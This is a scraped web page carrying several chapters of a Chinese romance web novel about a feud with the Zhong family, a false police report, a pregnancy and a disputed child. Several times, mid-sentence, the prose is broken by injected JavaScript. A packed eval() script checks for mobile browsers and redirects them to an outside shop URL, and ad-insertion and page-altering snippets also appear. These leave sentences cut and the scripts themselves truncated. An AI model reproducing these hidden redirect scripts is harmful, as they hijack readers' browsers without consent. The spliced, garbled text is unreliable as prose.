谢不辞只听清了一句:“我告诉你,这事没得商量!” 这声音他也认得,中间现在掌权的大老板,苏以安拿名义上的亲爹。 找上门来了。 35. 第 35 章 这不就来活了吗。 谢不辞想都没想,立马打电话报警,说有人入室抢劫还要拐卖小孩。 挂掉电话他手都已经搭上门把手了,又觉得差点什么,进门之前还让人把附近速度最快的记者找过来,说他要买最显眼的娱乐板块,价格随便开。 随后开门关门,故意制作大动静打断在场交谈。 只有苏以安亲爹和钟家大儿子过来,两人看见谢不辞脸色都变了变,甚至谢不辞还没从苏以安手中把雪团抱过来就听见了阴阳怪气:“谢大公子私闯omega家,说出去不太好听吧?” “这有什么的,来邻居家串个门而已,没有去沈家抢婚传的难听。” 从在走廊里,就没听见苏以安出声反驳什么,也一直都是亲爹不说话,他这大哥嘴就没停过。 有年龄有阅历的人多少会沉得住气一些,苏以安他爹没搭理谢不辞那套,给旁边站着的儿子递了个眼色,随后开口朝苏以安说话。 “你不用专门把谢不辞找回来气我们,你大哥脾气比较冲说话不中听,订婚宴上不是故意给你委屈受。” “沈伊作为伴侣,挑不出什么毛病来,在终身大事上还是别闹脾气。” 苏以安低着头不说话,雪团在他怀里也不知道哭了多久,哭声都已经开始变得沙哑。 他们无视谢不辞,谢不辞同样也没准备搭理他俩,凑到苏以安身边伸手给雪团抹了抹眼泪。 “刚在说什么?” “你别怕,我一定尽快帮你一劳永逸的解决。” 还没等苏以安回答他,门口就传来了急促的敲门声。 苏以安皱着眉看向谢不辞:“又是谁?” 离门口最近的人把门打开,紧接着就苏以安就看见穿着警服的人站在门口,朝着他们出示证件:“您好,我们是延城公安局的,接到电话举报,说有人入室抢劫还拐卖儿童,特地过来了解情况。” 说话的人身后还跟着好几个警员。 “对,就是他们俩,警官你看,我儿子哭的小脸通红,这么大点小孩就要受这种委屈,太恶劣了,快把他俩抓起来。” 隔着打开的门往外望,谢不辞看见有人举着相机在拍照于是立马对着证件还没完全收好的警员倾诉,还演得特别像样的抓住人家警员的手。 “谢不辞你!” “不好意思大哥,我是无赖。” 谢不辞挑衅似的朝一直瞪着他的钟家大儿子钟漫川开口。 为首的警员把马上要打起来似的的两人拉开,询问道:“到底是怎么回事?” “这两位都是我儿子,报警的跟我们家孩子有点感情纠纷,麻烦您跑一趟了,我们的家事我们自己可以解决。” 这会家长为了防止气氛变僵适时站出来和和气气的说话,不过谢不辞不吃这一套。 “什么叫你们的家事,你也没尽过抚养义务啊,再说了,他租的房子你哪来密码,他又不会给你俩开门,你俩怎么进来的敢不敢展开讲讲?” “把我们家孩子吓成这样,你俩能干什么好事。” 这时几乎全场的目光都聚集到了苏以安身上,苏以安也立马特别配合的拿袖子抹眼泪。 他依旧不说话,抱着孩子站在墙角,哭得要多可怜有多可怜。 不说话可以避免将得罪人的麻烦揽到自己身上,抹眼泪就是放低姿态主动将自己划分到需要庇护的群体范围内。 这会领头的警官又把目标转到谢不辞身上:“你跟他们什么关系?” “他手里抱的那个孩子是我的。” “你怎么证明?” 谢不辞本想说孩子跟他姓,想把户口之类的纸质文件找出来,他刚掏出手机,苏以安就特别配合的把雪团递给他。 但可能孩子也觉得谢不辞不那么靠谱,在这种受了惊吓的情况下根本不愿意离开苏以安,被谢不辞接过去以后反而哭得更凶了。 钟漫川没放过任何说风凉话的机会:“是你亲儿子吗,怎么好像他也不太认识你啊。” 这下换谢不辞没话可说了。 不过轮不到他们谁觉得尴尬,就已经要跟着几位警员回去配合调查了。 临上电梯之前,谢不辞还伸着脖子对那举着相机的记者扯着嗓子喊:“你是哪个报社的?你们那的娱乐板块最好的位置我买了!” “快多拍两张,等我回来一有消息就通知你,给你独家。” 话音落下,谢不辞面对的就是紧闭的电梯门。 现在没有人吵架,雪团也止住了哭声,只是还死死抱着苏以安脖子. 可能是从来没遇上过这种事,钟漫川特别不服,嘴就一直没闲着过:“你知道报假警是什么罪吗谢不辞,我看你还能嚣张到什么时候。” “哦,那你知道当众对怀孕的omega动手是什么罪吗。” 谢不辞说的漫不经心的,还欠欠的凑到钟漫川耳边,小声嘟囔:“宴会厅可是有录像的,你们家能拦苏以安可拦不了我。” “你他妈少扯蛋!” “哎呦钟大公子怎么拎不清轻重呢,我要不是扯蛋你麻烦大了呢。” 在他们这边,对omega保护力度很大,怀孕的omega得跟珍稀动物一样供起来。 单从对抛妻弃子alpha的处罚力度就能看得出来。 下了楼,还有谢不辞喊过来的动作没那么快的记者,刚才拌嘴的内容一字不差的让人听得清清楚楚。 “这是什么光彩的事吗你还喊这么多的记者?” 谢不辞不紧不慢的接话:“你也知道的,我这人名声不好,最不要脸了。” 短短几句话的拉扯,钟漫川就已经被气得话都快说不利索了。 “少说两句!” 钟漫川他爸呵斥完他,又转头看向谢不辞:“你闹这么难看你能捞到什么好处?” 混迹商场的人身上就自带一种老总气质,表面上再和蔼,也有不怒自威的效果。 结果谢不辞这人就软硬都不吃,尤其是面对这种关系一辈子都不可能好的人。 这可是他当着老婆面给老婆出气的机会,苏以安没制止,他就跟给他打了鸡血似的,恨不得钟家养的狗都得找点文明词骂两句。 要不是他家雪团在这不能抽烟,他都不敢想自己叼根烟能嘚瑟成什么样。 跟着去做完笔录走走流程,谢不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108255|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞就带着苏以安和孩子走出了派出所。 这种没什么人有损失的事情,只是报警的时候说的比较严重,谢不辞也没觉得真能给谁抓进去。 而且豪门嘛,很多事情都不太干净,只是双方都你情我愿的当买卖做,也不会有人特别没眼力见的准备窝端了谁家。 所以重头戏是谢不辞喊来那些记者写的稿子。 从有警察站在苏以安家门口就开始拍,把他跟钟漫川打嘴仗的过程全记录完整,他再专门给塞点炒作费,买点流量在网上一发。 绝对够钟家那几位闹心一阵子的。 回去是谢不辞打的车,雪团哭累了在苏以安肩膀上趴会就睡着了。 苏以安没阴阳他,他也没开口主动找不痛快。 他知道对于孩子去留这种决定很难做,毕竟是一条人命,苏以安不会轻易下定论,所以主动避开这个话题。 “你想雪团今天留在你那睡吗。” “都可以,今天他也挺委屈的,明天我把他给你送回去。” 说完这两句,他们好像也就没什么可交流的了。 他俩现在就很有中年夫妻的既视感,凑在一起除了聊孩子没别的话可说。 然后就是平平无奇的回家,在走廊分道扬镳。 欣慰不分也不行。 苏以安看出谢不辞有想跟他一起回去那意图以后,就沉默的站在门口看着他。 谢不辞一眼就能看出来,那是在告诉他,别有事没事找骂。 昨天晚上方明之就已经得到消息要回来了,算算时间,再有大概半个小时也就能到苏以安家了。 人家俩人玩了那么多年,有他在比谢不辞自己在还让人放心。 后面找来的那几个记者把写好的稿子都发到谢不辞手上,让他选一篇最满意的刊登。 谢不辞每一篇都认真看了。 也许有他给的实在太多了的因素在,他透过那些文字都能看出写稿的记者在简直用尽毕生学识胡编乱造。 八卦板块,人家想看的就只有你这瓜够不够炸裂,没那么多人在乎真的假的。 同样的,谢不辞也只是想用这样的方式恶心一下钟家。 想彻底解决苏以安户口问题绝对不是靠这种小打小闹。 稿子里写谢不辞跟苏以安分分合合七年,因为家庭原因被迫跟沈伊联姻,但二人本身情根深种,家庭不是迫使他们分开的理由,况且他们还有一个孩子。 稿子里还特意花费了不少笔墨描写他们还有一个孩子这件事。 毕竟,一个人是生不出孩子的。 谢不辞自己在家,闲的无聊把工作邮箱都清空了,在等秘书回消息的这段时间里,还收到了个新好友申请。 对方是个看起来就很装b的头像,比他还能装的那种。 谢不辞有种直觉,这一看就是那外国头牌哥,之前苏以安逛超市那会以男朋友身份介绍的那个。 他一点都没犹豫直接点了通过。 对方发消息速度很快,用着不太标准的普通话给他发语音:“你好,苏以安已经决定跟我回A国定居了,你把我们的孩子还给我。” 谢不辞:? 36. 第 36 章 谁们的孩子?还给谁? 这还是中文吗? 咋每个字谢不辞都认识,拼在一起就这么让人陌生呢? 谢不辞看着头牌哥聊天框最顶上那个对方正在说话,觉得他还能说出不少雷人的东西来,于是先发制人的回复:“不是哥们?谁教你这么要孩子的?” “你想要你不会自己找人生吗?” 那边直接无视了谢不辞刚发过去的语音,自说自话道:“雪团很可爱,我很喜欢,你不用瞎操心。” “安安都已经跟你说了我是他男朋友,你少在我家omega面前招不待见。” 还挺神奇。 谢不辞不要脸,就一定会出现比他更不要脸的。 他直接气笑了,都懒得跟这头牌哥再掰扯什么,直接一个删除好友。 这种算什么情敌啊?苏以安也不是什么消停孩子,逢场作戏跟头牌玩玩就算了,还能真看上这种货色? 谢不辞都懒得把他放在眼里。 都打这么多年了,苏以安喜欢什么类型的,哪个是真情敌谢不辞一眼就能看出来。 要说能让谢不辞产生危机感的,这么多年他在苏以安身边见过的都算上,估计也就只有一个沈伊。 谢不辞也玩,所以很清楚,玩久了,就吃笨拙的纯爱那一套,哪怕苏以安当初是演的,他也依旧认为,要是一点感情都没有,苏以安怎么不跟别人演。 原以为把好友删了这茬就算过去了,结果那头牌哥锲而不舍,还发验证消息问他是不是玩不起挑衅他。 谢不辞本想给他顺手拉黑,结果对方只挑衅了一句就换了条路,发验证消息告诉他,有苏以安离开他去A国之前的录音。 这个…… 这个不是很能拒绝。 毕竟时间线往前拉的东西,挺不好找的,而且那可是苏以安怀着雪团离开他之前说的话,还主动送上来。 谢不辞脑子都没反应过来手就已经先点了通过验证。 重新加上好友那头牌哥就更嚣张了,又给他发了语音过来:“我老早之前就认得你。” …… 认得就认得呗,他以前玩那么花谁认得他都不是什么稀奇事。 还没等谢不辞再吐槽什么,他就直接甩了一段录音过来,并配了一条文字消息:你要是喜欢,我这还多的是。 很阴阳怪气的一句话。 谢不辞疑惑的点开录音。 里面开始只是一些正常的脚步声和开关门的声音,再往后就是布料摩擦,是苏以安和另一个谢不辞完全没印象的陌生男声的交谈声。 男人问苏以安,专门录了音,怕不怕这录音传到谢不辞手里。 然后苏以安回答,你要是觉得他愿意听人墙角你就发。 再往后整段录音,一个多小时,全是让人脸红心跳的东西,光靠听就知道花样一定不少。 谢不辞给头牌哥回了一个问号,外套都没拿一件就冲出去敲1501的门。 开门的是方明之,对方看见他以后先是皱了皱眉,紧接着语气不善的开口:“你来干什么?” 谢不辞没跟他解释,直接进门,把雪团从苏以安手里抢过来给方明之抱着,然后将苏以安拽进卧室。 不知道是不是苏以安的个人习惯,卧室里厚重的遮光窗帘几乎从没拉开过。 为了不让放这种录音显得气氛很奇怪,谢不辞还特意在质问之前打开了卧室的灯。 进了卧室以后,苏以安也没问谢不辞要干什么,就站在原地等他先开口。 谢不辞握着的拳头紧了又松,深吸好几口气平复情绪才勉强让开口的语气没那么像是来打架的:“这怎么回事?” 他又把刚才听过的录音在苏以安面前放了一遍。 但苏以安的表情始终淡淡的,直到谢不辞关上录音第二次质问,他才漫不经心的开口:“哦,是我,怎么了。” “你没玩过?” 平平无奇的四个字,就让谢不辞哑口无言。 他甚至听不出这句你没玩过是在吃醋阴阳他还是只平静的陈述事实。 而且苏以安一点都不觉得心虚,在这种事情上甚至不觉得尴尬或者羞耻。 不得不说,能做到这份上,绝对是心理素质足够强大,因为委屈受得太多什么行为都很难刺伤他。 “你就那么喜欢那个外国头牌哥?” “人家没名字吗,你一口一个头牌哥?” “我草,这他妈刚哪到哪啊你就袒护上了?” …… 交流不在同一个频道上,苏以安就懒得搭理他。 又不是什么了不得的要紧事,没必要解释。 这录音是什么时候的,苏以安自己都记不清了,里面男主人公是谁他也早就没有印象了。 谢不辞要这么说,估计录音就是那头牌哥给发的。 但其实,苏以安跟头牌哥也是逢场作戏的装纯爱,因为俩人都搞艺术,灵魂同频的地方不算少。 就从来没睡过。 但谢不辞这人拧巴,八成会因为觉得查了头牌哥会被苏以安看不起而没有任何行动,私底下生闷气。 还不告诉你到底在气什么。 录音已经是陈年旧瓜了,苏以安不是很想提,还因为谢不辞的质问无端烦躁。 “没别的事出去,我不想看见你。” 谢不辞剩下的话就全被堵了回去。 不知道是不是他的错觉,好像除了刚拿到孕检结果的当天苏以安很崩溃以外,剩下的时间苏以安表面上看起来一点都没受这件事的影响。 对他的态度也始终是不耐烦,他要来串门也可以见,不过很不愿意见。 所以,有没有老二苏以安其实不是很在乎对吗。 只要他俩还能见面,只要孕反没严重到怀雪团的那个程度,他们有必须待在一起的理由,感情慢慢都会回来的。 是这样吧? 谢不辞没再多说,留下一句你有需要可以随时给我打电话或者去对门找我就离开。 苏以安一愣。 没明白他想表达什么,但谢不辞已经自己拉开卧室门出去了。 有需要? 什么需要? 他这人怎么跟脑子里除了黄没装别的东西似的? 苏以安从卧室出去,方明之就凑上前来问:“他跟你说什么?” “谁知道他想说什么,莫名其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……你不提年龄我还没那么想骂谢不辞。” “大学毕业才一年多,胡搞完了就让你生孩子,你刚二十四,雪团都快一岁了。” “算了不扯没用的,这个孩子什么时候打掉?拖得时间越久越危险你不是不知道的。” 道理都懂,但还是觉得遇上这样的事情特别让人心力交瘁。 生雪团的时候,苏以安几乎把能吃的苦都吃遍了。 产后抑郁也没放过他。 虽然脱离了原来的圈子,不跟一些乱七八糟的老板接触,不至于那么痛苦。 但无法改变的是,这孩子是苏以安最开始为了报复谢不辞才生的,他回来这一趟,本身就已经在自我折磨了。 肚子里这老二完全意料之外,他也是真的手足无措。 一想到打掉要承受至少一个月的失眠噩梦,他就下意识的后怕,连去医院这几个字都听不得。 可他又很清楚这孩子根本不能留。 “再说吧,再给我几天,我会尽快处理好。” 37. 第 37 章 回公司上班以后,谢不辞本来以为会很忙,但真到公司一看,交到他手里的其实也没多少工作。 因为绝大部分得罪人又不好干的活,都被他爸的秘书给接走了。 以前他们家一直秉承着做什么都留有余地的原则,除了谢不辞本人又渣名声又差以外,他们家合作过的老板跟他们关系都不错。 所以才会出现钟家这种总想抢他们生意还处处跟他们作对的竞争对手。 跟钟家具体有什么冲突谢不辞也没打听,但他知道他要是不开这个头,他爸不会打压任何竞争对手。 无论对方讲不讲商场道义。 下班以后,谢不辞还特意带了两瓶红酒去他爸公司顶楼。 原计划是跟他爸喝点,顺便再扯扯闲篇什么的,结果他爸没空搭理他,让他把酒放下该回去回去。 他在他爸办公室等了将近一个小时,他爸才终于憋出来一句嘱咐:自己想办法把沈伊那边处理好。 在家长眼里,沈伊是个好孩子。 没有凭空截人家未婚妻还不解释的道理。 于是谢不辞又把蒋泽薅到了他们老地方的那个包间。 以前来,是什么酒贵开什么,哪个男模姿色高技术好点哪个,还总能叫出一大堆朋友。 现在是来了也只有谢不辞和蒋泽两个人,服务生一个不让进,晚上回去要照顾雪团酒不能喝,烟也不让蒋泽抽。 纠结了半天,然后谢不辞点了两个果盘招待蒋泽。 蒋泽推开包厢门进来,看见空空荡荡的桌子上只摆着两个整齐果盘的那一刻,愣了足足几十秒才开口:“咋的哥们,破产了?” “喝不起了只能吃果盘啊?” “你可咒我点好吧。” 谢不辞特别主动的从果盘里扎了块西瓜喂到蒋泽嘴边:“来第一口军师先吃。” 蒋泽看着那块西瓜表情都皱到一块,他嫌弃的扒拉开谢不辞:“滚滚滚,你少恶心我。” 认识好多年的朋友,稍微有一点亲密举止都觉得对方在犯贱。 “你知道什么叫过命的交情吗老谢。” “就是我在会所包间,为了陪你,跟个和尚一样只能吃果盘。” “我天呢这也太过命了,离了你我还上哪去找能为我这么付出的朋友去。” 蒋泽没再跟他扯有的没的,直接进入正题,从手机里找出才查到的视频,随后把手机递到谢不辞面前。 “给我视频的人说,这样的视频,苏以安手里肯定还有好多。” 视频里的场景像是谁家,装修得很有艺术气息,苏以安全身上下都只穿着一件勉强遮住大腿根的白衬衫,那衣服还松松垮垮,一看就不是他自己的。 视频应该是三四年前拍的了。 反正在谢不辞的印象里,苏以安只有三四年前才染过小粉毛。 视频里的另一个主角就是头牌哥。 苏以安被头牌哥压在沙发上,两人举止亲密,鼻尖对鼻尖的交流。 那头牌哥情话一句接着一句。 反正谢不辞理解不了,反而觉得对方矫揉造作,起一身鸡皮疙瘩:“我现在好像知道高中那会我有多丢人现眼了。” 蒋泽从果盘里扎了两块苹果塞进嘴里:“没事的谢阿姨办事效率你放心,你的高清黑历史绝对流传不出去。” …… 他俩说话这空,视频里的头牌哥也没见闭嘴。 不过苏以安清醒得让谢不辞有些诧异。 苏以安不会被任何鬼话忽悠,听着那些情怀,只跟头牌哥说自己在像见不得光的老鼠一样在地下室长大,说之前会从垃圾桶里翻别人遗弃的,露棉絮的旧冬衣。 说从小到大第一次坐轿车是户口被钟家强制迁走那天,说他只会用粉笔和树枝画画,刚开始学艺术只带了一支铅笔进教室。 处处都在以开玩笑的口吻贬低自己,却偏偏被人当成是床上角色扮演的情趣。 当事人也许没那么在乎,但谢不辞看得各种难受。 “如果这些话让我在以前听到,我脑子里冒出来的第一个想法可能会是,也许我应该多给他一些钱。” “可是我现在才听到。” “我知道他说的都是真的,我不觉得他可怜,他很坚强,他比百分之九十的人都厉害。” 在苏以安的思想里,一定是他这样的人不配得到爱,所以谁说都不信。 而恰好谢不辞这人三分钟热度,能轻易得到的也一定会轻易抛弃。 高中那会谢不辞不服苏以安拒绝他,才会把视线长时间停留在苏以安身上,但哪怕他再稍微多花一点点心思,就能看出苏以安的敏感脆弱。 青春期的小孩,都在做灰姑娘的美梦。 被豪门接回家,可以再也不用为了下顿可能吃不上饭担惊受怕,还被全校最有头脸又家世显赫的校草表白,苦了那么多年了,正常来讲都会觉得是转运了有些飘飘然。 苏以安不这么觉得。 那就说明,在他拒绝谢不辞之前,一定还有什么把他打击得体无完肤的事情。 “所以现在想给的不是钱了对吧。” “嗯。” “他不该白白被欺负,我想帮他讨回所有公道,我无所谓别人怎么议论我,起码我要保证,有我在,他想做什么都没人敢指指点点。” 蒋泽把手机收回来,看向谢不辞的目光都带上了几分意味深长:“你知道我现在看你什么感觉吗。” “我养了这么多年的好大儿终于长大了。” “就那种老父亲的欣慰。” 谢不辞没搭理他这茬,话锋一转:“那么问题来了军师哥,你觉得我跟沈伊竞争,我的优势在哪?” 这下蒋泽说不出话了。 他俩大眼瞪小眼的看了许久,蒋泽才干巴巴的挤出一句:“大概可能也许应该……你比较有钱?” “可是苏以安不缺钱啊。” “你这么一说我倒还真有点好奇,那苏以安不选沈伊的理由是什么呢?” 紧接着他俩把所有可能性都列了个遍,也没找出一个靠谱的。 蒋泽跟沈伊比较熟,但不太了解苏以安,谢不辞了解苏以安但雪团来他家之前不认识沈伊。 俩人就在那拼拼凑凑,结果发现不管从谁的视角思考,都得不到一个合理解释,最终也只能选择放弃。 后面又商量了怎么和沈伊协商解决。 只是这种事情,怎么看都是死局,蒋泽也给不出好意见来。 代入一下沈伊视角就是,你特别喜欢一个人,对方也觉得你很好, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还答应了跟你订婚,别管订婚原因是什么,反正答应了,当天也到场了。 然后有个傻逼过来把你未婚妻劫走,你怕你逼得太紧未婚妻压力太大而做出什么无法挽回的偏激行为退步。 结果这个时候,那傻逼找到你,说他喜欢你未婚妻,让你主动退出。 这要是答应了,窝囊成这个样子,得被人笑话一辈子吧? 所以谢不辞决定,先跟苏以安谈。 从拿到孕检结果到现在,都已经三天过去了,他要是再不闻不问,就显得他像个想逃避责任的渣男了。 从会所离开,时间还早。 九点多,夜生活刚刚开始的时间点。 苏以安绝对还没睡。 谢不辞进到走廊以后,看都没看自己家门一眼,直接走向1501。 只是他没预料到,敲门也没人开。 也就是说,方明之可能不在,是苏以安自己带着雪团在家里。 觉得也许是在忙什么抽不开身,谢不辞就输密码打开了门。 进去以后他便听见了马桶冲水的声音,还有苏以安的干呕声。 也没顾上冒不冒犯,谢不辞径直走过去打开卫生间的门。 苏以安跪坐在地上,也不知道抱着马桶吐了多久,谢不辞看见他的时候,他整张脸都是灰白的。 “好点了吗。” 谢不辞轻轻拍了拍苏以安的背,把人从地上搀扶起来。 但苏以安几乎没有力气支撑自己身体的重量,只能软趴趴的挂在他身上。 想起之前沈伊给他科普的那套话,谢不辞拿出手机,准备喊个救护车过来。 他把人送到医院效率太低了,而且苏以安也并不一定会配合。 可他没想到他刚拿出手机苏以安就知道他要干什么,伸手把他手机抢过去,结果因为提不起什么力气,手机从两人手中滑下去砸在地上。 谁也没接住。 “不去医院。” “为啥?” 谢不辞不知道该怎么形容苏以安这个声音,大概像病得躺床上就起不来的那种人开口气若游丝的感觉。 但苏以安异常坚持,又重复了一遍不去医院这四个字。 还在他颈窝间蹭了蹭,把不知道什么时候落下的眼泪蹭到他衣领上。 谢不辞把人抱进卧室。 还倒了杯温水放在床头。 然后在苏以安缩在被子里不愿意说话的时间里,给沈伊发了一大堆消息,问怎么缓解怀孕初期孕反,问如果真的有很严重的心理疾病这种时候能不能吃药。 那边聊天窗口退出去,谢不辞又开始给方明之发消息问雪团哪去了,问发生了什么苏以安才情绪这么差。 两人都没回复的这会他甚至还查了查别人家omega因为怀孕闹脾气的时候alpha都是怎么做的。 虽然没得到什么有用的信息,但起码看到了心理安慰。 随后谢不辞看见方明之给他回了一个问号。 还有一句:他跟我说今天去医院把孩子打了,让我把雪团抱走一晚上,明天再去给你送过去,早上我看着他挂号的呀。 谢不辞盯着这条消息看了好久。 如果他没记错的话,打胎……好像当天也是要住院的吧? 38.第 38 章 后面方明之还专门嘱咐了一句:[他爸去世以后,每到临近过年他都可焦虑了,你少招他。] 如果谢不辞没记错,苏以安他爸已经去世五六年了。 别人都有家,过年的时候热热闹闹,就苏以安一个人守在冷冷清清的出租房里,吃着速冻饺子看春晚。 人是群居动物,都挺怕孤独的。 焦虑在所难免。 可能救风尘这种英雄主义是基因里自带的,反正想到这谢不辞立马责任感爆棚的想带着苏以安去他家别墅过年,还能一家五口和和美美的。 谢不辞还想再问方明之点什么,不过这会被子里伸出只手拽了拽他的袖子,然后传出了有些沉闷的声音:“有点冷。” 他立马会意,放下手机把被子掀开一点小缝爬进去。 像苏以安这种人死了嘴都是硬的的人,想要他信息素肯定不会直说,这不就是台阶吗。 他可不是那种只会给加条被子的老直男。 钻进被子里以后,谢不辞还特意顺手关掉了床头的灯。 苏以安扯着他袖子的那只手挺凉的,两人相顾无言了许久,谢不辞都没把那只手捂热。 房间里安静得可以听清两人的呼吸声,就在谢不辞以为苏以安都要睡着了的时候,忽然听见对方开口。 “我今天去医院,看见你前男友了。” 谢不辞有点不知道该怎么接这句话。 好老套的开场白。 按照剧本,他是不是应该问前男友怎么了,然后表现出一副很焦急的样子,胃病低血糖这种都猜一遍,再以一种智障又欠揍的语气让苏以安有话赶紧说? 真这么办事,苏以安能把他从床上踹下去吧? “然后呢?” “不对,我没谈过,你遇上谁了?” 他们这算不算情敌见面啊?能不能当场掐起来啊? “我也不知道是谁,好像还有点大众脸,看见我就跟我说他才是你男朋友,只要他想,你们随时可以结婚,让我少做靠孩子上位这种春秋大梦。” 谢不辞:…… 大众脸这个词已经很有标志性了,毕竟他什么风格的都尝试过,但因为记性不好,不管哪个被提起来他都不太能想得起来。 “你猜我怎么跟他说的。” 按谢不辞对苏以安面对陌生人找茬这种事的刻板印象来看,他觉得苏以安会一言不发的听对方把耀武扬威的牛吹完,再最多骂一句神经病就走掉。 或者跟他有关的人,苏以安一律没什么耐心,听都不会听完就像轰他一样,让那假前男友也滚。 但谢不辞很有自知之明的觉得自己肯定猜不对,不然苏以安都不会拿这件事情跟他讲。 “我说那你得努力啊哥们,不然我二胎都生完了,某些人还在谢不辞不知道有这号人的前提下拿自己能嫁进谢家口嗨呢。” “哎我草,这发挥,太有怼我那味了。” 谢不辞不知道他埋汰的是谁,只能预料到正常人去威胁人,听见这种话脸色肯定都好不到哪去。 “然后我看见他做信息素检测,估计是准备人为的干预一下发情期?” “想靠在什么活动上见你跟你滚到一起去。” “我说谢经理,一年多没见,你品位什么时候差成这样了,这种货色也看得上?” 谢不辞原想反驳两句,但之前苏以安走了有一阵子的时候,他后知后觉的意识到人可能真的不会再回来了那会,找了个不少替身。 有信息素味道相近的,有眼睛比较像的,有背影很神似的,还有画画的时候和苏以安某个角度的侧脸几乎一样的。 不过这肯定不能承认,不然太丢人了。 “埋汰完他又来阴阳我啊?” “不是。” “我本来是想说,别给雪团找这样的后爸。” 苏以安知道,他们这个年龄,尤其是谢不辞这种家大业大的,说不结婚一定不现实。 所以哪怕谢不辞不听,也不会在意他说了什么,他也还是想多嘱咐一句。 谢不辞轻笑一声,回答道:“有些人,图个一时新鲜玩玩也就算了,真谈的话,太冒犯了吧。” 觉得这句话不一定只是表面意思,苏以安没立马回话。 事实上谢不辞也确实在暗示。 暗示苏以安跟头牌哥玩玩就算了,头牌哥这种比他还能装b的人别谈。 不过苏以安可能没接收到他想表达什么:“哦,那你要跟谁结婚记得提前让我看看。” “八竿子打不着的事情,你这么急啊?” 表面上虽然是这么说,但谢不辞已经准备好了明天就找人算个适合嫁娶的好日子。 然后悄悄给苏以安准备个惊喜。 话都说到这份上了,不就是吃醋想结婚又没好意思直说吗。 谢不辞觉得自己这个理解力简直无敌,这个世界上就没有比他更能看出苏以安潜台词的人。 “我有什么可急的?” “好好好别说了,我都懂。” 苏以安不清楚他又抽什么疯,但也不想继续跟他聊下去,于是抢过一半的被子,翻身去了床的另一边。 见苏以安没轰他,谢不辞还因为刚才有情商会哄人暗暗窃喜了一把。 随后他特别有眼色的没再过去骚扰苏以安,还悄悄在手机上给他家管家发了消息让管家着手准备一下婚礼相关。 晚上的气氛难得和谐。 他俩没吵起来,苏以安也没再因为情绪不好或者孕吐之类的睡不好觉。 第二天一大早,方明之就带着雪团过来。 把孩子给了谢不辞,然后把俩人一起轰到对门。 问过了早上的奶粉还没给孩子,谢不辞先从零食柜里给雪团找了个看起来他还没吃过的奶酪棒。 结果雪团接过来以后,跟他说再要一个。 谢不辞以为是方明之晚饭给吃得早饿着孩子了,也没多想就又给了一个。 但他没理解雪团想表达什么,给孩子急得让谢不辞抱起来,自己伸手去够零食柜里的包装袋。 “你方叔叔没给你饭吃吗?” 把柜子里所有奶酪棒都拿出来以后,谢不辞伸手想把雪团手里那支奶酪棒的包装给撕开,结果雪团不给他,手里的和桌子上的都算上,一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都不给。 不管谢不辞说多少遍不跟他抢,只是想帮忙撕个包装都没用,硬要拿雪团就跟他哭。 雪团很挑食,谢不辞知道,绝大多数零食都根本不会吃第二次。 他把奶酪棒都倒出来,拿起包装纸看了看。 就是普通的奶酪棒,牌子谢不辞都没怎么听说过,也不是什么进口的东西。 “你不吃你干嘛要抢它啊?” “给爸爸。” “那你为啥不让我拿?” 这会谢不辞觉得,可能是苏以安带孩子的时候拿了一个被孩子记住了,想着先给冲奶粉,一会再带着雪团去对门给苏以安送。 然后他又听见雪团的声音:“爸爸还没吃过。” “那就是你喜欢这个?” “喜欢。” 谢不辞不太愿意让雪团也受从小就要省吃俭用的苦:“你可以不用专门给你爸爸留,你能吃得到的,我都能让你爸爸也吃到。” “没关系,你就算把这些都吃完,我也能给你再买好多好多。” 出乎谢不辞意料的是,雪团还是不愿意把手里的奶酪棒给他让他打开,只用还不算能说得特别清楚的声音回应他:“那就留好多好多给爸爸。” 小孩子的思想很单纯。 他只觉得,他吃过一次就不想吃的东西有那么多,好不容易遇上了个喜欢的,要专门留给苏以安或者和苏以安一起吃。 这也让谢不辞特别直观的感受了一把,什么叫没人比你的孩子更爱你。 “儿子哥你真上道,你要是个alpha,你也跑不了是个大渣男。” “你说我咋就没给你录个音呢,让你爸爸好好听听。” “我跟你讲啊,一会到了对门,你就把你刚才跟我说的也跟你爸说一遍。” 虽然知道表演出来的可能没刚才那个效果好,但谢不辞就是觉得还不到一岁的小孩知道处处想着苏以安,苏以安说什么也不能错过。 随后谢不辞动作很快的去厨房烧水给雪团冲奶粉。 也没注意到他回来就没关紧的门前,站着手里钻攥着奶瓶刷的苏以安。 因为一字不差的都听见了,苏以安才迟迟不敢进门。 他没见过这么单纯又专一的爱,所以听见的第一反应就是逃避。 他有过那么一瞬间的,想把雪团从谢不辞手里抢回来的冲动。 但没敢真的继续这样想下去。 因为他认为,真的爱该是希望雪团过得好,而跟着他这样与各种老板不清不楚还随时可能被人盯上报复的人,绝对没有跟着谢不辞安全又衣食无忧。 他没法完全逃开富人圈这个团体。 苏以安走进门,雪团立马特别开心的喊他爸爸,还伸手让他抱。 “你怎么让孩子坐桌子上?” 谢不辞闻言从厨房探出脑袋:“那桌子不挺宽的吗,而且椅子矮,他坐椅子上我在厨房里都看不见。” “好吧我记住了,我下次注意。” 他原想暗示一下孩子把零食给苏以安分一分,结果雪团看见亲爸,根本不会注意谢不辞,就只重复着让苏以安抱他。 39.第 39 章 雪团真的一点都没含糊的把刚才根本不让谢不辞碰的奶酪棒都给了苏以安。 